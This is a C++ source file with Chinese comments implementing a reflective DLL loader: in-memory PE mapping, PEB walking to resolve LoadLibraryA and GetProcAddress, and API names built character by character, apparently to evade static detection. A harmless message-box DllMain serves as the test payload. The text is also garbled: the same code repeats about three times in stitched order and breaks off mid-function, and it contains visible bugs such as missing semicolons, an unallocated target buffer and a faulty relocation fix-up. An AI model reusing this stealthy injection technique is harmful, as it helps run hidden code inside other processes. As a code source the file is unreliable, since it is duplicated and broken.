wchar_t* ExtractDllName(const wchar_t* fullDllName);
void my_wctomb(char* dest, const wchar_t* src);
int CompareStrings(const char* str1, const char* str2);
// DLL入口点函数
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
 
    // 弹窗代码
    MessageBox(NULL, L"哇塞!!你成功啦!!!", L"注入程序检测中...", MB_YESNO | MB_ICONASTERISK);
 
    char processName[MAX_PATH] = { 0 }; // 存储进程路径的缓冲区
 
    // 获取当前进程的可执行文件路径
    DWORD length = GetModuleFileNameA(NULL, processName, MAX_PATH);
    MessageBoxA(NULL, processName, "当前进程路径: ", MB_YESNO | MB_ICONASTERISK);
 
    Sleep(99999999);
 
    return TRUE;
}
// 自定义的宽字符转普通字符的函数
void my_wctomb(char* dest, const wchar_t* src) {
    while (*src) {
        if (*src >= L'A' && *src <= L'Z') {
            *dest = (char)(*src + (L'a' - L'A'));  // 转换大写字符为小写
        }
        else if (*src >= L'a' && *src <= L'z') {
            *dest = (char)*src;  // 保留小写字符
        }
        else if (*src >= L'0' && *src <= L'9') {
            *dest = (char)*src;  // 保留数字字符
        }
        else {
            *dest = '?'// 对于其他字符,可以选择替代字符,例如 '?'
        }
        dest++;
        src++;
    }
    *dest = '\0'// 确保目标字符串以 null 结尾
}
int CompareStrings(const char* str1, const char* str2) {
    while (*str2 != '\0') {
        if (*str1 != *str2) {
            return 0; // 返回差值
        }
        str1++;
        str2++;
    }
    return 1; // 两个字符串完全匹配时返回0
}
// 比较两个 DLL 名称(大小写不敏感)
int CompareDllName(wchar_t* dllName, wchar_t* targetDllName) {
    size_t i = 0;
    while (dllName[i] != L'\0' || targetDllName[i] != L'\0') {
        // 将两个字符都转换为小写进行比较
        wchar_t ch1 = (dllName[i] >= L'A' && dllName[i] <= L'Z') ? dllName[i] + (L'a' - L'A') : dllName[i];
        wchar_t ch2 = (targetDllName[i] >= L'A' && targetDllName[i] <= L'Z') ? targetDllName[i] + (L'a' - L'A') : targetDllName[i];
 
        // 如果字符不同,则返回比较结果
        if (ch1 != ch2) {
            return 0;
        }
        i++;
    }
 
    // 如果字符串都没有结束且匹配到最后,返回 0 表示完全相等
    return 1;  // 如果两个字符串完全相同,返回 0
}
 
// 提取 DLL 名称的函数
wchar_t* ExtractDllName(const wchar_t* fullDllName) {
    wchar_t* fileName = NULL;
    wchar_t* temp = (wchar_t*)fullDllName;
 
    // 遍历并找到最后一个 '\\',获取文件名部分
    while (*temp) {
        if (*temp == L'\\') {
            fileName = temp + 1;  // 更新文件名的位置
        }
        temp++;
    }
 
    // 如果没有找到 '\\',则认为整个字符串就是文件名
    if (!fileName) {
        fileName = (wchar_t*)fullDllName;
    }
 
    return fileName;
}
 
extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll)
{
    //获取磁盘文件的DOS头和NT头
    PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)pDll;                             //赋值DOS头
    PIMAGE_NT_HEADERS pNTheader = (PIMAGE_NT_HEADERS)(pDll + pDOSheader->e_lfanew); //赋值NT头
 
    //给内存分配空间,并对pAlloc进行初始化
    DWORD ImageSize = pNTheader->OptionalHeader.SizeOfImage;  //内存空间大小
    PBYTE pAlloc = (PBYTE)((ULONG_PTR)pDll + ImageSize);
 
    if (pAlloc == NULL) return FALSE;
    if (pDOSheader->e_magic != IMAGE_DOS_SIGNATURE || pNTheader->Signature != IMAGE_NT_SIGNATURE) return FALSE;  // 无效的头,直接退出
 
 
    // 手动实现 CopyMemory 的功能
    BYTE* dst = (BYTE*)pAlloc;               // 目标内存地址
    BYTE* src = (BYTE*)pDll;                 // 源内存地址
    size_t size = pNTheader->OptionalHeader.SizeOfHeaders; // 需要复制的字节数
 
    for (size_t i = 0; i < size; ++i) {
        dst[i] = src[i];                     // 逐字节复制
    }
 
    //复制节区表
    PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNTheader + sizeof(IMAGE_NT_HEADERS));
    DWORD SecNum = pNTheader->FileHeader.NumberOfSections;
 
    for (int i = 0; i < SecNum; i++) {
        if (pSec->SizeOfRawData == 0 || pSec->PointerToRawData == 0) {
            pSec++;
            continue;
        }
 
        char* chSrcMem = (char*)((ULONG_PTR)pDll + (DWORD)(pSec->PointerToRawData));
        char* chDestMem = (char*)((ULONG_PTR)pAlloc + (DWORD)(pSec->VirtualAddress));
        DWORD dwSizeOfRawData = pSec->SizeOfRawData;
        DWORD dwVirtualSize = pSec->Misc.VirtualSize;
        for (DWORD j = 0; j < dwSizeOfRawData; j++) {
            chDestMem[j] = chSrcMem[j];
        }
 
        if (dwVirtualSize > dwSizeOfRawData) {
            char* start = chDestMem + dwSizeOfRawData;
            char* end = chDestMem + dwVirtualSize;
            while (start < end) {
                *start++ = 0;
            }
        }
 
        pSec++;
    }
 
    //杜哥部分登场
    //开始检测并加载重定位表
    PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress + (ULONG_PTR)pAlloc);
    //重定位表指针通过NT结构的数据目录表查找到位置
    int SizeOfBaseReloc = pNTheader->OptionalHeader.DataDirectory[5].Size;//重定位表的大小也在NT结构中
    if (pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress != NULL)
    {
        do {
            PWORD TypeOffset = (WORD*)((PBYTE)pBaseReloc + 8);          //跳过前两个元素(不过在有的结构声明中TypeOffset不属于该结构
            int num = (pBaseReloc->SizeOfBlock - 8) / 2;                //SizeOfBlock规定的是该单元的大小以及TypeOffset是一字的
            for (int i = 0; i < num; i++)
            {
                WORD type = TypeOffset[i] >> 12;                        //TypeOffset[i] >> 12相当于在查找TypeOffset的前四字节(类型)
                WORD offset = TypeOffset[i] & 0x0FFF;                   //去掉类型(前四字节)
                int differ = 0;
                if (type == 3)
                {
                    differ = *((ULONG_PTR*)(offset + pBaseReloc->VirtualAddress + pAlloc)) - pNTheader->OptionalHeader.ImageBase;
                    ULONG_PTR p = (ULONG_PTR)pAlloc + differ;
                    char* tagetaddr = (char*)(ULONG_PTR)pAlloc + offset + pBaseReloc->VirtualAddress;
                    char* fromeaddr = (char*)p;
                    for (int c = 0;c < 4;c++) {
                        tagetaddr[c] = fromeaddr[c];
                    }
                }
            }
            SizeOfBaseReloc -= pBaseReloc->SizeOfBlock;                 //通过字节大小来间接表示个数
            pBaseReloc = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + pBaseReloc->SizeOfBlock);//相当于结构指针++了,不过这么看来TypeOffset好像真不属于这个结构
        } while (SizeOfBaseReloc);
    }
 
    //导入表的处理
    //因为导入表还没有修复,所以里面的API大部分都是无法使用的,可避免的我都去避免了
    // 但是是在无法避免的如,LoadLibrary函数无法找到,就需要通过
    // TEB和PEB的帮助找到了
    //GetProcAddress的地址
    typedef FARPROC(WINAPI* GETPROCADDR)(HMODULE, LPCSTR);
    //LoadLibrary的地址
    typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
 
    GETPROCADDR pGetProcAddress = NULL;
    LOADLIBRARYA pLoadLibraryA = NULL;
 
    //得到TEB的地址,通过TEB找到PEB
    PTEB pTEB = (PTEB)__readgsqword(0x30);
    PPEB pPEB = pTEB->ProcessEnvironmentBlock;
    // 获取PEB.Ldr
    PPEB_LDR_DATA pLdr = pPEB->Ldr;
 
    // 遍历模块列表,找到 kernel32.dll
    PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList;
    PLIST_ENTRY pCurrentEntry = pListHead->Flink;
    while (pCurrentEntry && pCurrentEntry != pListHead)
    {
        PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        if (pEntry && pEntry->FullDllName.Buffer)
        {
            wchar_t* dllName = pEntry->FullDllName.Buffer;
            // 提取 DLL 名称
            wchar_t* fileName = ExtractDllName(dllName);
            // 目标 DLL 名称kernel32.dll
            wchar_t a[50] = { 0 };
            a[0] = L'k';
            a[1] = L'e';
            a[2] = L'r';
            a[3] = L'n';
            a[4] = L'e';
            a[5] = L'l';
            a[6] = L'3';
            a[7] = L'2';
            a[8] = L'.';
            a[9] = L'd';
            a[10] = L'l';
            a[11] = L'l';
            a[12] = L'\0';
 
            if (CompareDllName(fileName, a)) {
                //分析PE文件找到导出表
                HMODULE hKernel32 = (HMODULE)pEntry->DllBase;
                PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hKernel32 + ((PIMAGE_DOS_HEADER)hKernel32)->e_lfanew);
                // 获取导出表的地址
                PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hKernel32 + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
                // 获取导出表的各个信息
                DWORD* pFunctionNames = (DWORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfNames);
                DWORD* pFunctionAddresses = (DWORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfFunctions);
                WORD* pFunctionOrdinals = (WORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfNameOrdinals);
 
                // 遍历导出表,查找 LoadLibraryA
                char targetName1[50] = "LoadLibraryA";
                targetName1[0] = 'L';
                targetName1[1] = 'o';
                targetName1[2] = 'a';
                targetName1[3] = 'd';
                targetName1[4] = 'L';
                targetName1[5] = 'i';
                targetName1[6] = 'b';
                targetName1[7] = 'r';
                targetName1[8] = 'a';
                targetName1[9] = 'r';
                targetName1[10] = 'y';
                targetName1[11] = 'A';
                targetName1[12] = '\0';
                // 遍历导出表,查找 GetProcAddress
                char targetName2[50] = { 0 };
                targetName2[0] = 'G';
                targetName2[1] = 'e';
                targetName2[2] = 't';
                targetName2[3] = 'P';
                targetName2[4] = 'r';
                targetName2[5] = 'o';
                targetName2[6] = 'c';
                targetName2[7] = 'A';
                targetName2[8] = 'd';
                targetName2[9] = 'd';
                targetName2[10] = 'r';
                targetName2[11] = 'e';
                targetName2[12] = 's';
                targetName2[13] = 's';
                targetName2[14] = '\0';
                int isP = 0;
                for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) {
                    char* functionName = (char*)((BYTE*)hKernel32 + pFunctionNames[i]);
                    if (CompareStrings(functionName, targetName1)) {
                        // 找到函数名,获取其地址
                        DWORD functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];
                        pLoadLibraryA = (LOADLIBRARYA)((BYTE*)hKernel32 + functionRVA);
                        isP++;
                    }
                    if (CompareStrings(functionName, targetName2)) {
                        // 找到函数名,获取其地址
                        DWORD functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];
                        pGetProcAddress = (GETPROCADDR)((BYTE*)hKernel32 + functionRVA);
                        isP++;
                    }
                    if (isP == 2) {
                        break;
                    }
                }
                break; // 找到后退出
            }
        }
        pCurrentEntry = pCurrentEntry->Flink;
    }
 
    if (!pLoadLibraryA && !pGetProcAddress)
    {
        char foece[] = "无法获取 LoadLibraryA 地址,请检查目标进程模块";
        return FALSE;
    }
    else {
        char sucsess[] = "sucsess";
    }
 
    PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(pNTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + pAlloc);
    //这个是IID的指针
    if (pImport != NULL)
    {
        while (pImport->Name != NULL)
        {
            char DLLname[50] = { 0 }; // 定义一个存储 DLL 名称的缓冲区
            char* pDLLName = (char*)(pImport->Name + pAlloc); // 获取 DLL 名称的地址
 
            // 手动将名称拷贝到 DLLname 缓冲区
            for (int i = 0; i < sizeof(DLLname) - 1; i++)
            {
                if (pDLLName[i] == '\0') // 遇到字符串结束符时停止
                    break;
                DLLname[i] = pDLLName[i]; // 拷贝字符
            }
            DLLname[sizeof(DLLname) - 1] = '\0'; // 确保缓冲区以 '\0' 结尾
 
            HMODULE hProcess = pLoadLibraryA(DLLname);               //通过名称找句柄
            if (!hProcess)
            {
                return FALSE;
            }
            PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(pImport->OriginalFirstThunk + pAlloc);
            PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(pImport->FirstThunk + pAlloc);
            while ((ULONG_PTR)(pINT->u1.AddressOfData) != NULL)
            {
                PIMAGE_IMPORT_BY_NAME pFucname = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + pAlloc);  //找DLL中函数的名字
                if (pINT->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)//判断如果是序号就是第一种处理方式
                {
                    pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, (LPCSTR)(pINT->u1.AddressOfData)));//通过序号来获取地址
                }
                else
                {
                    pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, pFucname->Name));             //通过函数名来获取地址
                }
                pINT++;
                pIAT++;
            }
            pImport++;
        }
    }
 
    //最后的操作就是修正程序的入口地址
    PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)(pAlloc + pDOSheader->e_lfanew);
    FARPROC EOP = (FARPROC)((LPBYTE)pAlloc + pNT->OptionalHeader.AddressOfEntryPoint);
    EOP();
    return TRUE;
}
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include<stdio.h>
#include <stdbool.h>
#include <winternl.h>
 
extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll);
int CompareDllName(wchar_t* dllName, wchar_t* targetDllName);
wchar_t* ExtractDllName(const wchar_t* fullDllName);
void my_wctomb(char* dest, const wchar_t* src);
int CompareStrings(const char* str1, const char* str2);
// DLL入口点函数
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
 
    // 弹窗代码
    MessageBox(NULL, L"哇塞!!你成功啦!!!", L"注入程序检测中...", MB_YESNO | MB_ICONASTERISK);
 
    char processName[MAX_PATH] = { 0 }; // 存储进程路径的缓冲区
 
    // 获取当前进程的可执行文件路径
    DWORD length = GetModuleFileNameA(NULL, processName, MAX_PATH);
    MessageBoxA(NULL, processName, "当前进程路径: ", MB_YESNO | MB_ICONASTERISK);
 
    Sleep(99999999);
 
    return TRUE;
}
// 自定义的宽字符转普通字符的函数
void my_wctomb(char* dest, const wchar_t* src) {
    while (*src) {
        if (*src >= L'A' && *src <= L'Z') {
            *dest = (char)(*src + (L'a' - L'A'));  // 转换大写字符为小写
        }
        else if (*src >= L'a' && *src <= L'z') {
            *dest = (char)*src;  // 保留小写字符
        }
        else if (*src >= L'0' && *src <= L'9') {
            *dest = (char)*src;  // 保留数字字符
        }
        else {
            *dest = '?'// 对于其他字符,可以选择替代字符,例如 '?'
        }
        dest++;
        src++;
    }
    *dest = '\0'// 确保目标字符串以 null 结尾
}
int CompareStrings(const char* str1, const char* str2) {
    while (*str2 != '\0') {
        if (*str1 != *str2) {
            return 0; // 返回差值
        }
        str1++;
        str2++;
    }
    return 1; // 两个字符串完全匹配时返回0
}
// 比较两个 DLL 名称(大小写不敏感)
int CompareDllName(wchar_t* dllName, wchar_t* targetDllName) {
    size_t i = 0;
    while (dllName[i] != L'\0' || targetDllName[i] != L'\0') {
        // 将两个字符都转换为小写进行比较
        wchar_t ch1 = (dllName[i] >= L'A' && dllName[i] <= L'Z') ? dllName[i] + (L'a' - L'A') : dllName[i];
        wchar_t ch2 = (targetDllName[i] >= L'A' && targetDllName[i] <= L'Z') ? targetDllName[i] + (L'a' - L'A') : targetDllName[i];
 
        // 如果字符不同,则返回比较结果
        if (ch1 != ch2) {
            return 0;
        }
        i++;
    }
 
    // 如果字符串都没有结束且匹配到最后,返回 0 表示完全相等
    return 1;  // 如果两个字符串完全相同,返回 0
}
 
// 提取 DLL 名称的函数
wchar_t* ExtractDllName(const wchar_t* fullDllName) {
    wchar_t* fileName = NULL;
    wchar_t* temp = (wchar_t*)fullDllName;
 
    // 遍历并找到最后一个 '\\',获取文件名部分
    while (*temp) {
        if (*temp == L'\\') {
            fileName = temp + 1;  // 更新文件名的位置
        }
        temp++;
    }
 
    // 如果没有找到 '\\',则认为整个字符串就是文件名
    if (!fileName) {
        fileName = (wchar_t*)fullDllName;
    }
 
    return fileName;
}
 
extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll)
{
    //获取磁盘文件的DOS头和NT头
    PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)pDll;                             //赋值DOS头
    PIMAGE_NT_HEADERS pNTheader = (PIMAGE_NT_HEADERS)(pDll + pDOSheader->e_lfanew); //赋值NT头
 
    //给内存分配空间,并对pAlloc进行初始化
    DWORD ImageSize = pNTheader->OptionalHeader.SizeOfImage;  //内存空间大小
    PBYTE pAlloc = (PBYTE)((ULONG_PTR)pDll + ImageSize);
 
    if (pAlloc == NULL) return FALSE;
    if (pDOSheader->e_magic != IMAGE_DOS_SIGNATURE || pNTheader->Signature != IMAGE_NT_SIGNATURE) return FALSE;  // 无效的头,直接退出
 
 
    // 手动实现 CopyMemory 的功能
    BYTE* dst = (BYTE*)pAlloc;               // 目标内存地址
    BYTE* src = (BYTE*)pDll;                 // 源内存地址
    size_t size = pNTheader->OptionalHeader.SizeOfHeaders; // 需要复制的字节数
 
    for (size_t i = 0; i < size; ++i) {
        dst[i] = src[i];                     // 逐字节复制
    }
 
    //复制节区表
    PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNTheader + sizeof(IMAGE_NT_HEADERS));
    DWORD SecNum = pNTheader->FileHeader.NumberOfSections;
 
    for (int i = 0; i < SecNum; i++) {
        if (pSec->SizeOfRawData == 0 || pSec->PointerToRawData == 0) {
            pSec++;
            continue;
        }
 
        char* chSrcMem = (char*)((ULONG_PTR)pDll + (DWORD)(pSec->PointerToRawData));
        char* chDestMem = (char*)((ULONG_PTR)pAlloc + (DWORD)(pSec->VirtualAddress));
        DWORD dwSizeOfRawData = pSec->SizeOfRawData;
        DWORD dwVirtualSize = pSec->Misc.VirtualSize;
        for (DWORD j = 0; j < dwSizeOfRawData; j++) {
            chDestMem[j] = chSrcMem[j];
        }
 
        if (dwVirtualSize > dwSizeOfRawData) {
            char* start = chDestMem + dwSizeOfRawData;
            char* end = chDestMem + dwVirtualSize;
            while (start < end) {
                *start++ = 0;
            }
        }
 
        pSec++;
    }
 
    //杜哥部分登场
    //开始检测并加载重定位表
    PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress + (ULONG_PTR)pAlloc);
    //重定位表指针通过NT结构的数据目录表查找到位置
    int SizeOfBaseReloc = pNTheader->OptionalHeader.DataDirectory[5].Size;//重定位表的大小也在NT结构中
    if (pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress != NULL)
    {
        do {
            PWORD TypeOffset = (WORD*)((PBYTE)pBaseReloc + 8);          //跳过前两个元素(不过在有的结构声明中TypeOffset不属于该结构
            int num = (pBaseReloc->SizeOfBlock - 8) / 2;                //SizeOfBlock规定的是该单元的大小以及TypeOffset是一字的
            for (int i = 0; i < num; i++)
            {
                WORD type = TypeOffset[i] >> 12;                        //TypeOffset[i] >> 12相当于在查找TypeOffset的前四字节(类型)
                WORD offset = TypeOffset[i] & 0x0FFF;                   //去掉类型(前四字节)
                int differ = 0;
                if (type == 3)
                {
                    differ = *((ULONG_PTR*)(offset + pBaseReloc->VirtualAddress + pAlloc)) - pNTheader->OptionalHeader.ImageBase;
                    ULONG_PTR p = (ULONG_PTR)pAlloc + differ;
                    char* tagetaddr = (char*)(ULONG_PTR)pAlloc + offset + pBaseReloc->VirtualAddress;
                    char* fromeaddr = (char*)p;
                    for (int c = 0;c < 4;c++) {
                        tagetaddr[c] = fromeaddr[c];
                    }
                }
            }
            SizeOfBaseReloc -= pBaseReloc->SizeOfBlock;                 //通过字节大小来间接表示个数
            pBaseReloc = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + pBaseReloc->SizeOfBlock);//相当于结构指针++了,不过这么看来TypeOffset好像真不属于这个结构
        } while (SizeOfBaseReloc);
    }
 
    //导入表的处理
    //因为导入表还没有修复,所以里面的API大部分都是无法使用的,可避免的我都去避免了
    // 但是是在无法避免的如,LoadLibrary函数无法找到,就需要通过
    // TEB和PEB的帮助找到了
    //GetProcAddress的地址
    typedef FARPROC(WINAPI* GETPROCADDR)(HMODULE, LPCSTR);
    //LoadLibrary的地址
    typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
 
    GETPROCADDR pGetProcAddress = NULL;
    LOADLIBRARYA pLoadLibraryA = NULL;
 
    //得到TEB的地址,通过TEB找到PEB
    PTEB pTEB = (PTEB)__readgsqword(0x30);
    PPEB pPEB = pTEB->ProcessEnvironmentBlock;
    // 获取PEB.Ldr
    PPEB_LDR_DATA pLdr = pPEB->Ldr;
 
    // 遍历模块列表,找到 kernel32.dll
    PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList;
    PLIST_ENTRY pCurrentEntry = pListHead->Flink;
    while (pCurrentEntry && pCurrentEntry != pListHead)
    {
        PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        if (pEntry && pEntry->FullDllName.Buffer)
        {
            wchar_t* dllName = pEntry->FullDllName.Buffer;
            // 提取 DLL 名称
            wchar_t* fileName = ExtractDllName(dllName);
            // 目标 DLL 名称kernel32.dll
            wchar_t a[50] = { 0 };
            a[0] = L'k';
            a[1] = L'e';
            a[2] = L'r';
            a[3] = L'n';
            a[4] = L'e';
            a[5] = L'l';
            a[6] = L'3';
            a[7] = L'2';
            a[8] = L'.';
            a[9] = L'd';
            a[10] = L'l';
            a[11] = L'l';
            a[12] = L'\0';
 
            if (CompareDllName(fileName, a)) {
                //分析PE文件找到导出表
                HMODULE hKernel32 = (HMODULE)pEntry->DllBase;
                PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hKernel32 + ((PIMAGE_DOS_HEADER)hKernel32)->e_lfanew);
                // 获取导出表的地址
                PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hKernel32 + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
                // 获取导出表的各个信息
                DWORD* pFunctionNames = (DWORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfNames);
                DWORD* pFunctionAddresses = (DWORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfFunctions);
                WORD* pFunctionOrdinals = (WORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfNameOrdinals);
 
                // 遍历导出表,查找 LoadLibraryA
                char targetName1[50] = "LoadLibraryA";
                targetName1[0] = 'L';
                targetName1[1] = 'o';
                targetName1[2] = 'a';
                targetName1[3] = 'd';
                targetName1[4] = 'L';
                targetName1[5] = 'i';
                targetName1[6] = 'b';
                targetName1[7] = 'r';
                targetName1[8] = 'a';
                targetName1[9] = 'r';
                targetName1[10] = 'y';
                targetName1[11] = 'A';
                targetName1[12] = '\0';
                // 遍历导出表,查找 GetProcAddress
                char targetName2[50] = { 0 };
                targetName2[0] = 'G';
                targetName2[1] = 'e';
                targetName2[2] = 't';
                targetName2[3] = 'P';
                targetName2[4] = 'r';
                targetName2[5] = 'o';
                targetName2[6] = 'c';
                targetName2[7] = 'A';
                targetName2[8] = 'd';
                targetName2[9] = 'd';
                targetName2[10] = 'r';
                targetName2[11] = 'e';
                targetName2[12] = 's';
                targetName2[13] = 's';
                targetName2[14] = '\0';
                int isP = 0;
                for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) {
                    char* functionName = (char*)((BYTE*)hKernel32 + pFunctionNames[i]);
                    if (CompareStrings(functionName, targetName1)) {
                        // 找到函数名,获取其地址
                        DWORD functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];
                        pLoadLibraryA = (LOADLIBRARYA)((BYTE*)hKernel32 + functionRVA);
                        isP++;
                    }
                    if (CompareStrings(functionName, targetName2)) {
                        // 找到函数名,获取其地址
                        DWORD functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];
                        pGetProcAddress = (GETPROCADDR)((BYTE*)hKernel32 + functionRVA);
                        isP++;
                    }
                    if (isP == 2) {
                        break;
                    }
                }
                break; // 找到后退出
            }
        }
        pCurrentEntry = pCurrentEntry->Flink;
    }
 
    if (!pLoadLibraryA && !pGetProcAddress)
    {
        char foece[] = "无法获取 LoadLibraryA 地址,请检查目标进程模块";
        return FALSE;
    }
    else {
        char sucsess[] = "sucsess";
    }
 
    PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(pNTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + pAlloc);
    //这个是IID的指针
    if (pImport != NULL)
    {
        while (pImport->Name != NULL)
        {
            char DLLname[50] = { 0 }; // 定义一个存储 DLL 名称的缓冲区
            char* pDLLName = (char*)(pImport->Name + pAlloc); // 获取 DLL 名称的地址
 
            // 手动将名称拷贝到 DLLname 缓冲区
            for (int i = 0; i < sizeof(DLLname) - 1; i++)
            {
                if (pDLLName[i] == '\0') // 遇到字符串结束符时停止
                    break;
                DLLname[i] = pDLLName[i]; // 拷贝字符
            }
            DLLname[sizeof(DLLname) - 1] = '\0'; // 确保缓冲区以 '\0' 结尾
 
            HMODULE hProcess = pLoadLibraryA(DLLname);               //通过名称找句柄
            if (!hProcess)
            {
                return FALSE;
            }
            PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(pImport->OriginalFirstThunk + pAlloc);
            PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(pImport->FirstThunk + pAlloc);
            while ((ULONG_PTR)(pINT->u1.AddressOfData) != NULL)
            {
                PIMAGE_IMPORT_BY_NAME pFucname = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + pAlloc);  //找DLL中函数的名字
                if (pINT->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)//判断如果是序号就是第一种处理方式
                {
                    pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, (LPCSTR)(pINT->u1.AddressOfData)));//通过序号来获取地址
                }
                else
                {
                    pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, pFucname->Name));             //通过函数名来获取地址
                }
                pINT++;
                pIAT++;
            }
            pImport++;
        }
    }
 
    //最后的操作就是修正程序的入口地址
    PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)(pAlloc + pDOSheader->e_lfanew);
    FARPROC EOP = (FARPROC)((LPBYTE)pAlloc + pNT->OptionalHeader.AddressOfEntryPoint);
    EOP();
    return TRUE;
}
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include<stdio.h>
#include <stdbool.h>
#include <winternl.h>
 
extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll);
int CompareDllName(wchar_t* dllName, wchar_t* targetDllName);
wchar_t* ExtractDllName(const wchar_t* fullDllName);
void my_wctomb(char* dest, const wchar_t* src);
int CompareStrings(const char* str1, const char* str2);
// DLL入口点函数
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
 
    // 弹窗代码
    MessageBox(NULL, L"哇塞!!你成功啦!!!", L"注入程序检测中...", MB_YESNO | MB_ICONASTERISK);
 
    char processName[MAX_PATH] = { 0 }; // 存储进程路径的缓冲区
 
    // 获取当前进程的可执行文件路径
    DWORD length = GetModuleFileNameA(NULL, processName, MAX_PATH);
    MessageBoxA(NULL, processName, "当前进程路径: ", MB_YESNO | MB_ICONASTERISK);
 
    Sleep(99999999);
 
    return TRUE;
}
// 自定义的宽字符转普通字符的函数
void my_wctomb(char* dest, const wchar_t* src) {
    while (*src) {
        if (*src >= L'A' && *src <= L'Z') {
            *dest = (char)(*src + (L'a' - L'A'));  // 转换大写字符为小写
        }
        else if (*src >= L'a' && *src <= L'z') {
            *dest = (char)*src;  // 保留小写字符
        }
        else if (*src >= L'0' && *src <= L'9') {
            *dest = (char)*src;  // 保留数字字符
        }
        else {
            *dest = '?'// 对于其他字符,可以选择替代字符,例如 '?'
        }
        dest++;
        src++;
    }
    *dest = '\0'// 确保目标字符串以 null 结尾
}
int CompareStrings(const char* str1, const char* str2) {
    while (*str2 != '\0') {
        if (*str1 != *str2) {
            return 0; // 返回差值
        }
        str1++;
        str2++;
    }
    return 1; // 两个字符串完全匹配时返回0
}
// 比较两个 DLL 名称(大小写不敏感)
int CompareDllName(wchar_t* dllName, wchar_t* targetDllName) {
    size_t i = 0;
    while (dllName[i] != L'\0' || targetDllName[i] != L'\0') {
        // 将两个字符都转换为小写进行比较
        wchar_t ch1 = (dllName[i] >= L'A' && dllName[i] <= L'Z') ? dllName[i] + (L'a' - L'A') : dllName[i];
        wchar_t ch2 = (targetDllName[i] >= L'A' && targetDllName[i] <= L'Z') ? targetDllName[i] + (L'a' - L'A') : targetDllName[i];
 
        // 如果字符不同,则返回比较结果
        if (ch1 != ch2) {
            return 0;
        }
        i++;
    }
 
    // 如果字符串都没有结束且匹配到最后,返回 0 表示完全相等
    return 1;  // 如果两个字符串完全相同,返回 0
}
 
// 提取 DLL 名称的函数
wchar_t* ExtractDllName(const wchar_t* fullDllName) {
